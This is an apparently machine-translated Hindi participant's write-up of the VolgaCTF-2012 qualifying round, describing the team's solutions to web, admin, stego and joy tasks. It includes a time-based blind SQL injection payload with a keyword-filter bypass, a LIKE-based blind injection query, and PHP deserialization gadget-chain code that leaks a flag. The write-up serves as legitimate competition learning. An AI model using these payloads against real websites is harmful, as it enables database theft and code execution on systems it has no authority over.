प्रतिभागी की आंखों के माध्यम से वोल्गॉफ़्ट

15 अप्रैल को, VolgaCTF-2012 सूचना सुरक्षा प्रतियोगिता का योग्यता चरण समाप्त हो गया , जिसमें वोल्गा संघीय जिले के विभिन्न शहरों की 29 टीमों ने भाग लिया। के क्षेत्रों में समस्याओं को हल करने के लिए टीमों को 48 घंटे दिए गए:

• क्रिप्टो-क्रिप्टोग्राफिक कार्य;
• वेब - विभिन्न वेब कमजोरियां;
• रिवर्स इंजीनियरिंग - रिवर्स इंजीनियरिंग;
• स्टेगसिक (स्टेग्नोग्राफ़ी और फोरेंसिक) - कंप्यूटर अपराधों के क्षेत्र में स्टेग्नोग्राफ़ी और अनुसंधान;
• पीपीसी (व्यावसायिक प्रोग्रामिंग और कोडिंग) - विभिन्न प्रोग्रामिंग कार्य;
• खुशी - सूचना सुरक्षा के क्षेत्र में सामान्य क्षरण के लिए कार्य;
• ब्लैकबॉक्स व्यवस्थापक - नेटवर्क प्रशासन कार्य;

मैं आपके साथ अपने इंप्रेशन साझा करना चाहूंगा और लिखना चाहूंगा कि प्रतिभागी की तरफ से ऐसी प्रतियोगिताएं बिल्कुल कैसे दिखती हैं।

सबसे पहले, मैं इस प्रतियोगिता के आयोजकों और उनके पॉश कार्यों के लिए आभार व्यक्त करता हूं जो सरल नहीं थे, लेकिन दिलचस्प थे।
हमारी टीम ने पहली बार इस तरह की प्रतियोगिताओं में भाग लिया। प्रतियोगिता की शुरुआत में एक घंटे की देरी हुई, उस समय के दौरान हम सहज हो गए, कंप्यूटर सेट किए और विभिन्न चुटकुलों के साथ खुद को स्थापित किया और कुछ भी बात की।
एक वीपीएन सर्वर को व्यवस्थापक द्वारा जोड़ा गया था, टीमों को जोड़ने के लिए चाबियाँ वितरित की गईं, और खेल शुरू हुआ!

13.04 19:00 बजे
टीमों को कार्यों के साथ साइट का आंतरिक और बाहरी पता दिया गया था। हमने टीम के भीतर कार्य वितरित किए और काम करना शुरू किया।

विभिन्न स्तरों में 100 के स्तर जटिलता में बहुत भिन्न होते हैं। दो कार्य तुरंत हल किए गए थे:
1) एक बड़ी तालिका के साथ एक html पृष्ठ दिया गया था। टेबल के प्रत्येक सेल में अपना रंग होता था, जिसमें css के साथ एक छोटे गेम के बाद, द्वीप की एक तस्वीर प्राप्त हुई, JPG को हस्तांतरित की गई, Google पर अपलोड की गई और द्वीप का नाम मिला, जो कुंजी निकला
2) हमें एक संग्रह भेजा गया था जिसमें प्रसिद्ध समुद्री डाकू और हैकर्स की तस्वीरें संग्रहीत की गई थीं, उनके पूर्ण नामों का पता लगाना और उन्हें आयोजकों को भेजना आवश्यक था। Google की मदद से और एक ग्राफिकल एडिटर के साथ थोड़ा काम करने पर जल्दी मिल जाता है।

13.04 19:20 है
वेब साइटों में कमजोरियों को खोजने और उनका शोषण करने की समस्याएं अधिक दिलचस्प थीं। पहला लक्ष्य एक समुद्री डाकू बिरादरी के रैंकों के बारे में एक समुद्री डाकू ब्लॉग था। पंद्रह मिनट बाद, विरोधियों ने एक कोड पेश किया जो पेज के कुछ हिस्सों की सामग्री को छुपाता है। इससे हमें XSS की कमजोरियों की उपस्थिति के बारे में जानकारी मिली। बाद में हमने देखा कि ब्लॉग नियमित रूप से अपडेट किए गए, नए विषय जोड़े गए। हालाँकि, अधिकांश जानकारी को कार्यक्रम द्वारा अद्यतन किया गया था (जैसा कि यह हमें लग रहा था) हमने XSS भेद्यता का फायदा उठाने की कोशिश की और मानक तरीकों का उपयोग करके व्यवस्थापक अधिकारों के साथ उपयोगकर्ता कुकी प्राप्त करने का निर्णय लिया। इंटरनेट पर उठाए गए स्निफर पर, केवल अन्य टीमों के प्रतिभागियों के बारे में जानकारी प्रदर्शित की गई थी, लेकिन हमने हार नहीं मानी। वीपीएन के अंदर आईपी पते पर माइग्रेट किए गए XSS और ट्रैफ़िक विश्लेषक ने एक व्यवस्थापक कनेक्शन प्रयास का पता लगाया। चाबी लग गई है!

कम सफलतापूर्वक हल क्रिप्टोग्राफी, रिवर्स, पेशेवर प्रोग्रामिंग (पीपीसी) के कार्य थे, जिन्हें हमने तुरंत "पीपीसी" लघु और सरल शब्द डब किया था।
पीपीसी डोमेन से एक कार्य में , लोगों ने तुरंत रिवर्स पोलिश नोटेशन को पहचान लिया। काम की बड़ी मात्रा के कारण, प्रोसेसर ने तुरंत कार्यक्रम लिखना शुरू नहीं किया, इसे विकसित करने और डिबग करने में काफी समय लगा। इसका जवाब अगले दिन ही मिल गया था।
उन्होंने crypto100 पर एक प्रतीत होता है सरल कार्य को प्रबल नहीं किया।

04/13 20:30
जॉय क्षेत्र से एक क्लासिक खोज हुई।

एन्क्रिप्ट किए गए अभिलेखागार ने छिपे हुए अर्थ की खोज शुरू नहीं की, उन्होंने पहले यह तय करने का प्रयास किया कि तस्वीर में क्या पूछा गया है। उन्होंने चित्र लिए, उन्हें विदा किया, उनके 200 अंक अर्जित किए) सच, मुझे थोड़ा फोटोशॉप करना था - समुद्री डाकू विशेषताओं को जोड़ना, लेकिन परिणाम उत्कृष्ट था)
लगभग उसी समय, उन्होंने वेब 200 के साथ समस्या को हल किया, जहां व्यवस्थापक का लिंक robots.txt में छोड़ दिया गया था।

13.04 21:15
दुर्भाग्य से, इसे रात में विश्वविद्यालय में रहने की अनुमति नहीं है, इसलिए हमारी टीम को परिसर खाली करने के लिए कहा गया था। पूरी ताकत और लड़ाई की भावना से, हम वहां की समस्याओं को हल करने के लिए अपार्टमेंट में गए।

04/13 10:30 बजे।
इस समय के आसपास, पहला प्रशासन कार्य खोला गया था। एक सर्वर उपलब्ध कराया गया था। एक हजार से अधिक खुले बंदरगाह थे। हमने सुराग ढूंढना शुरू किया। 1000 पोर्ट के लिए अनुरोध हमेशा "पी" लौटा। पोर्ट 1000 का संदर्भ देने के बाद पोर्ट 1001 के लिए एक अनुरोध हमेशा "i" होता है। इसी तरह की स्थिति 1002, 1003 आदि पर थी। बंदरगाहों। 1000 से 1005 पोर्ट की एक पंक्ति में जुड़े अक्षरों ने "पिरैट" शब्द दिया। पोर्ट 1000 के लिए अनुरोध ने वर्णों के अनुक्रम को छोड़ दिया। पड़ोसी बंदरगाहों को कॉल के बीच लंबे समय तक देरी के साथ, एल्गोरिथ्म काम नहीं करता था।

जानकारी एकत्र करने के चरण से पता चला कि सर्वर के सभी बंदरगाहों पर सूचना को सॉर्ट करने और प्रदर्शित करने के लिए एक कार्यक्रम लिखना आवश्यक है। एक सरल पर्ल प्रोग्राम जल्द ही लिखा गया था। उसके काम का नतीजा एक अंग्रेजी पाठ था, जिसमें कई दसियों वर्णों के काम की कुंजी थी।

13.04 23:45
अब मैं वेब क्षेत्र से वास्तव में दिलचस्प और मूल कार्यों के बारे में बात करना चाहूंगा।
टास्क 3 को समुद्री डाकू बार की साइट के लिए संदर्भित किया जाता है।

साइट पर एक त्वरित नज़र ने दृश्यमान कमजोरियाँ नहीं दीं। HTML कोड में छिपी टिप्पणियों पर आंख बंद हो गई।



"समुद्री डाकू ब्राउज़र" की एक इंटरनेट खोज और उपयोगकर्ता - एजेंट में सभी संभावित नामों के प्रतिस्थापन के परिणामस्वरूप परिणाम नहीं मिला। लेकिन उन्होंने जल्द ही इस क्षेत्र में एसक्यूएल-इंजेक्शन की खोज की। यह कुछ भी जटिल नहीं लगेगा, लेकिन यह इंसर्ट इंजेक्शन था। यह दिलचस्प निकला कि SELECT, OR, WHERE, ORDER, GROUP, और जैसे आदेश काट दिए गए थे, जैसे कोई क्वेरी

SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_NAME LIKE 'k%'

मन में लाना

SELSELECTECT TABLE_NAME FRFROMOM infoORrmation_schema.tables WHWHEREERE TABLE_NAME LIKE 'k%'

और क्या दिलचस्प था कूकी में प्रमुख पैरामीटर, जो हमेशा अशक्त था।
निष्पादन का परिणाम कहीं भी प्रदर्शित नहीं किया गया था (हालांकि शायद हमें यह नहीं मिला), यह बस डेटाबेस में लिखा गया था। इनटूट और अन्य तरीकों से काम नहीं किया, मुझे गैर-मानक लोगों का सहारा लेना पड़ा। सुबह होने तक निर्णय में देरी हुई।

मेरे लिए पहली बात यह थी कि उन मामलों में एक स्क्रिप्ट त्रुटि के लिए नेतृत्व करना जहां उपनगरीय स्थिति को संतुष्ट करने वाली पंक्तियों की संख्या शून्य है। पहले मैंने COUNT (*) द्वारा वास्तविक संख्या को विभाजित करने की कोशिश की, लेकिन ऐसे मामलों में जहां COUNT (*) शून्य के बराबर था, MySQL ने इसे शांति से निगल लिया।
MySQL खोजें - ऐसे कार्य जिनमें परिणाम के आवश्यक पैरामीटर होने चाहिए, नहीं दिए गए हैं।
लेकिन यह तथाकथित समय के हमले का उपयोग करने के लिए निकला। तालिका के नाम की खोज करने के लिए एक क्वेरी जिसमें कुंजी को एक दृश्य में परिवर्तित किया जा सकता है।

pirat'),((SELSELECTECT if(COUNT(*)!=0,BENCHMARK(100000000000,NOW()),1) FRFROMOM infoorrmation_schema.tables WHERE TABLE_NAME LIKE 'k%'))#

मोटे तौर पर, यदि स्थिति को संतुष्ट करने वाली एक भी रेखा नहीं है, तो साइट धीरे-धीरे खुलती है, यदि कोई हो, तो जल्दी से। धीमी ऑपरेशन गति बेंचमार्क फ़ंक्शन द्वारा प्रदान की जाती है, जो एक विशिष्ट ऑपरेशन को 1,000,000,000 बार दोहराती है।

LIKE के माध्यम से खोज शुरू में SUBSTR (TABLE_NAME, 1,1)> 'a' द्वारा अस्वीकार कर दी गई थी। एक पत्र के माध्यम से छाँटने में लंबा समय लगता था, इसलिए आप एक सीमा निर्दिष्ट कर सकते थे। (नोट। ऐसी स्क्रिप्ट को लागू करना संभव था जो इन कार्यों को स्वचालित करता है) तालिका नाम के पहले कुछ अक्षरों का चयन करने के बाद, मुझे REGEXP () फ़ंक्शन का अस्तित्व याद आया, जिसके साथ आप नियमित अभिव्यक्तियों के साथ खोज को निर्दिष्ट कर सकते हैं, अक्षरों का चयन बहुत आसान हो गया है। ध्वज के साथ तालिका के नाम के अलावा, मुझे इसी तरह की क्रियाएं मिलीं, ध्वज और ध्वज के साथ क्षेत्र का नाम, कुल मिलाकर लगभग 25 वर्णों को मैन्युअल बाइनरी खोज द्वारा क्रमबद्ध किया जाना था।
पाई गई कुंजी 'एल्पिरेटा' शब्द है, जो असाइनमेंट के जवाब के रूप में फिट नहीं थी। लेकिन इस शब्द के साथ कुकी में परिवर्तनशील कुंजी को सेट करने से नौकरी से कुंजी प्राप्त करना संभव हो गया।

04/14 02:00
पहले कॉफी मग नहीं होने के बाद, टीम ने एक पीडीएफ फाइल में शोषण का पता लगाने की समस्या को हल किया, एक wav फ़ाइल में एक कुंजी की खोज में एक घंटे से अधिक समय बिताया (जो सिग्नल स्पेक्ट्रम के किनारे पर निकला था), ऐसे जीआईएफ को डिक्रिप्ट किया गया था:

जो, कुछ शर्तों के तहत, संकेत झंडे के साथ एक संदेश प्रेषित करता है जिसमें कार्य की कुंजी होती है।
35 एमबी ग्राफिक जेपीईजी फ़ाइल में बहुत सारे पाठ वाले कार्यों में से एक में, उन्होंने एक फव्वारा देखा।
04/14 05:00
एक ही कार्य में, उन्होंने एक ताड़ के पेड़ को देखा, महसूस किया कि यह सोने का समय था ...
यह कार्य है ...

14.04 11:00
हम विश्वविद्यालय पहुंचे और पहले के अधूरे कार्यों पर काम करना शुरू किया।
14.04 15:00
WEB 400 के स्तर के क्षेत्र से हमें एक दिलचस्प काम मिला। कमजोरियों की तलाश के लिए, कुछ साइटों को तैयार किया गया था।

पहले सर्वर में एक खजाना वेबसाइट था, दूसरे में एक वेब स्टूडियो वेबसाइट थी। इनपुट मापदंडों को मानने से एक अंधे SQL-इंजेक्शन का पता चला, जिसमें UNION कमांड का उपयोग करना असंभव था। ज्ञात शब्दों की एक यादृच्छिक खोज को उपयोगकर्ता तालिका मिली, जिसमें आईडी और उपयोगकर्ता फ़ील्ड 1 रिकॉर्ड थे।

पिछले कार्य के विपरीत, REGEXP फ़ंक्शन काम नहीं करता था, और हमने एक स्क्रिप्ट विकसित की थी जो LIKE में अक्षरों को क्रमबद्ध करती थी।
अंतिम डेटाबेस क्वेरी:
0 OR (SELECT user from user where user like 'adm%') LIKE '%'
उपरोक्त अनुरोध में शब्द प्रशंसा के बजाय, स्क्रिप्ट ने अक्षरों के विभिन्न संयोजनों को प्रतिस्थापित किया, यदि किसी उपयोगकर्ता को दिए गए संयोजन के साथ शुरू करने के लिए पाया गया था, तो पृष्ठ पर सामग्री प्रदर्शित की गई थी।
एक उपयोगकर्ता को देखकर थोड़ा आश्चर्य हुआ। निक पोस्टग्रेज हो गए। यह मानना ​​तर्कसंगत था कि PostgresSQL DBMS का उपयोग किया गया था।
इस DBMS के दस्तावेज़ीकरण को पढ़ने से हमें mysql में info_schema में तालिका की जगह लेने में मदद मिली, और इसकी मदद से पासवर्ड वाले उपयोगकर्ता तालिका फ़ील्ड का नाम। इस पासवर्ड को md5 में संग्रहित किया गया था, डिक्रिप्शन के बाद यह 16 वर्ण पोस्टग्रॉस्ट्रॉग्स निकला। यह लॉगिन साइट एडमिनिस्ट्रेटर के पैनल में नहीं गया, जो एक स्तूप में प्रविष्ट हुआ। दूरस्थ सर्वर पर DB नियंत्रण कक्ष नहीं मिला, बाहर से पहुंच बंद थी। डेटाबेस से लॉगिन होना काफी शर्म की बात थी, लेकिन इससे जुड़ने में असमर्थता थी।

हमने तालिकाओं के नामों का चयन करना शुरू किया और प्रशासकों की तालिका मिली, जिसमें पहले से ही साइट व्यवस्थापक के पैनल से लॉगिन है। व्यवस्थापक पैनल में, हम साइट के एक-दो पृष्ठों के स्रोत कोड की प्रतीक्षा कर रहे थे, जिस तक पहुंच प्राप्त करनी थी। इन पेजों पर _GET में निर्दिष्ट फ़ाइलों को फै्रेड फ़ंक्शन द्वारा पढ़ना संभव है यदि आप उन्हें पता जानते हैं। एक ब्राउज़र से लिस्टिंग के लिए खुला एक फ़ोल्डर के लिए एक छिपा हुआ लिंक था और फाइलों से युक्त नहीं था।

हमने यूनिक्स सिस्टम के लिए सभी मानक कॉन्फ़िगरेशन फ़ोल्डर के माध्यम से देखा और देखा, .bash_history और access_log तक पहुंचने का प्रयास किया, लेकिन कोई फायदा नहीं हुआ। सौभाग्य से, उन्हें जल्द ही एक छिपे हुए फ़ोल्डर में .htaccess फ़ाइल मिली। यह निर्देशिका लिस्टिंग में एक ध्वज के साथ एक फ़ाइल के प्रदर्शन को प्रतिबंधित करने का नियम था। छिपी हुई फ़ाइलों को डाउनलोड करना एन्क्रिप्टेड जावास्क्रिप्ट कोड प्रदर्शित करता है। वे इस बात से परेशान होने लगे कि टास्क को बाहर निकाल देंगे, लेकिन एक मिनट के बाद टास्क से झंडे वाले पेज पर अलर्ट जारी कर दिया गया।
पूरे कार्य में 5 घंटे लगे।

वेब 500 में साइट के प्रवेश द्वार पर मूल प्राधिकरण के साथ कार्य को देखते हुए, हमने इसे स्थगित करने का निर्णय लिया।


इस दिन, टीम के बाकी सदस्यों ने दिलचस्प समस्याओं को हल किया, जिसमें शामिल हैं विशेषाधिकार वृद्धि के साथ प्रशासन पर, क्रिप्टोग्राफी कार्यों में से एक और टोरेंट के बारे में एक दिलचस्प कार्य। प्रत्येक डाउनलोड किए गए टॉरेंट में, अन्य टॉरेंट को डाउनलोड करने के लिए पुनरावर्ती रूप से प्रस्तावित किया गया था, सभी भागों को इकट्ठा करने के बाद, एक स्लैक्स छवि प्राप्त की गई थी, इसमें एक कुंजी थी।

14.04 20:00
हमारी टीम लीडर थी, थक हार कर घर चली गई। हमने अच्छी तरह से सोने का फैसला किया, हालांकि रात के दौरान किसी ने कई कार्यों को पूरा किया।

15.04 11:00 बजे
अंतिम दिन, स्तर 5 के केवल दो कार्यों को हल किया गया था, जिसके लिए सबसे अधिक अंक दिए गए थे।
दोनों कार्य दिलचस्प थे, इसलिए मैं उनके बारे में विस्तार से बात करना चाहूंगा।

वेब 500 कार्य कल स्थगित कर दिया गया। यह ध्यान दिया जाता है कि यदि आप POST डेटा को index.php फ़ाइल पर भेजते हैं, तो पृष्ठ दिया गया था।



अंतर्ज्ञान ने कहा कि यह बस नहीं होगा। किसी भी आम कमजोरियों की बात नहीं हो सकती है। अनियंत्रित छवि मुस्कुराते हुए ट्रोल-फेस पाइरेट के बेस 64 एनकोडेड पिंग निकली। इसी तरह की छवियों के लिए एक खोज ने एक समान कैनवास आकार की एक तस्वीर दी, लेकिन डिस्क पर एक अलग आकार। फ़ाइल में छिपी जानकारी की खोज विफल रही।
थोड़ा हताशा होने पर, मैंने एड्रेस बार में एड्रेस /index.php.bak डाला और मूल पृष्ठ का कोड प्राप्त किया , जो कि परेशान था, क्योंकि यह अच्छी तरह से बाधित था।

आँखें डरती हैं, लेकिन हाथ कर रहे हैं ... डिकोडेड।

  function __autoload($classname) { $classpath = './inc/class/'.$classname.'.php'; if(file_exists($classpath)) include $classpath; } require_once('inc/config.php'); echo '<!DOCTYPE html><center><form method="POST"><input name="login" type="text"><input name="password" type="text"><br><input type="submit"></form></center>'; if(isset($_POST['login'],$_POST['password'])) { // TODO echo underconstruction(); } elseif(isset($_COOKIE['auth'])) { $auth = unserialize((string)$_COOKIE['auth']); if(isset($auth['login'],$auth['password'],$auth['name']) and ($auth['login'] === 'pirate') and ($auth['password'] === 'pirate1')) { echo ", {$auth['name']}!"; } else { echo "<center>  , !</center>"; } } 

चौकस पाठक कमजोर स्ट्रिंग स्ट्रिंग इको "हैलो, {$ $ [['नाम]}!" नोटिस करेगा; और __autoload

जल्द ही एक स्क्रिप्ट लिखी गई थी जिसने कुकी डेटा तैयार किया था, जिसे अज्ञात करने के बाद $ $ ['नाम'] चर में एक अज्ञात वर्ग की वस्तु थी। इसे ऑटोलैड फ़ंक्शन और php-injection जैसी भेद्यता का निष्पादन कहा जाता है।

 $value=new arrayObject(); $value->offsetSet('login','pirate'); $value->offsetSet('password','pirate1'); $value->offsetSet('name',new index); $value=serialize($value); echo 'auth='.urlencode($value).';'; 

अनुक्रमणिका फ़ाइल को डाउनलोड करके फ़ोल्डर में फ़ाइलों की सूची लौटा दी। जल्द ही परियोजना वर्गों के साथ अन्य फाइलों के स्रोत प्राप्त हुए।

मैं फ्लैग क्लास से प्रसन्न और प्रफुल्लित था, जिसने कहा कि थोड़ा और रह गया।

 <?php class Flag { public static $flag = "FLAG"; public function getFlags() { return array(self::$flag); } } ?> 

अन्य वर्गों के एक अध्ययन में अधिक कमजोरियों का पता चला।
विशेष रूप से, यह पता चला कि टेक्स्टबॉक्स क्लास में एक फ़ंक्शन होता है

  function __toString() { return $this->obj->printObj(); } 

ऑब्जेक्ट में एक फ़ंक्शन होता है

  public function printObj() { return serialize($this); } 

उपयोगकर्ता में एक फ़ंक्शन होता है

  public function __sleep() { return $this->login->{$this->password}(); } 

नतीजतन, कुंजी को लौटाने वाली स्क्रिप्ट पर लौटने के लिए एक संरचना का निर्माण किया गया था। (लगभग, वास्तव में, उपयोगकर्ता वर्ग में, उन्हें __contuct () फ़ंक्शन के नाम पर एक त्रुटि मिली और सुधार से पहले डेवलपर्स ने काम नहीं किया;)

 $value->offsetSet('name',new Textbox(new Object(new User(new Flag,'getFlags')))); 

पूरे कार्य में 7 घंटे लगे।

इसी समय, टीम के एक अन्य भाग ने मूल Joy500 कार्य का हल ढूंढ लिया।
स्क्रिप्ट ने vk.com से यादृच्छिक लड़कियों का चयन किया। टीम के सदस्यों को उन्हें प्रतियोगिता के लिए डिज़ाइन की गई साइट पर पंजीकरण करने के लिए कहना चाहिए था।
ऐसा लगता है कि कुछ भी जटिल नहीं है

हम उस साइट को देखते हैं जिस पर यह लालच करना आवश्यक है, हम एक खिड़की देखते हैं:

फिर यह:

और साइट ही:

ओमिनस संगीत पृष्ठभूमि में चलता है, पंजीकरण से पहले आपको 333 सेकंड इंतजार करना होगा। मोडल खिड़कियां इस समय सभी बाहर जाती हैं। सामान्य तौर पर, एक शैतानी वेबसाइट) अपरिचित लड़कियों को पंजीकृत करने के लिए राजी करना इतना आसान नहीं था।

यह VolgaCTF के बारे में कहानी का समापन करता है। हमारी टीम ने एक अच्छे अंतर से जीत हासिल की, बहुत अनुभव प्राप्त किया, समारा को एक पूर्णकालिक ग्रीष्मकालीन दौरे के लिए टिकट मिला। और हमने कूल टी-शर्ट पर एडिंस भी जलाए।
Joy200 के जवाब में टीम फोटोग्राफी।